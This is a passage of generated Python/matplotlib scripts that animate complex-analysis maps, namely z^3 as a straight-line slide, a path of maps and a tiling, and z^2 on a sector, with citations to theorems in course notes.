    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^n$ for $n=3$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Theorem 9.1, p. 45 (ch09-power-zn.tex:11); Corollary 9.2, p. 45 (ch09:48); Remark 9.4, p. 47 (ch09:164); Proposition 13.11, p. 67 (ch13:261)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (z**3)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $z^3$'
TITLE = '$w=(1-s)\\,z+s\\,z^{3},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.3, 1.1, 5, -3.141492653589793, 3.141492653589793, 12)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^n$ for $n=3$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Theorem 9.1, p. 45 (ch09-power-zn.tex:11); Corollary 9.2, p. 45 (ch09:48); Remark 9.4, p. 47 (ch09:164); Proposition 13.11, p. 67 (ch13:261)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+2*s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'circles wrap $3$ times, rays turn to angle $3\\theta$ (Theorem 9.1)'
TITLE = '$w=z^{1+2s},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.3, 1.1, 5, -3.141492653589793, 3.141492653589793, 12)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^n$ for $n=3$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Theorem 9.1, p. 45 (ch09-power-zn.tex:11); Corollary 9.2, p. 45 (ch09:48); Remark 9.4, p. 47 (ch09:164); Proposition 13.11, p. 67 (ch13:261)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+2*s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'the fundamental sector $|\\mathrm{Arg}\\,z|<\\pi/3$ opens onto the slit plane (Corollary 9.2)'
TITLE = '$w=z^{1+2s},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'polar', (0.3, 1.1, 4, -1.0471975511965976, 1.0471975511965976, 6)
HILITE = [10, 21]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^2$ on the sector $|\mathrm{Arg}\,z|<\pi/4$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: figure in Section 9.1, p. 45-46 (ch09:80)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (z**2)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $z^2$'
TITLE = '$w=(1-s)\\,z+s\\,z^{2},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.2, 1.2, 6, -0.7853981633974483, 0.7853981633974483, 7)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^2$ on the sector $|\mathrm{Arg}\,z|<\pi/4$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: figure in Section 9.1, p. 45-46 (ch09:80)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

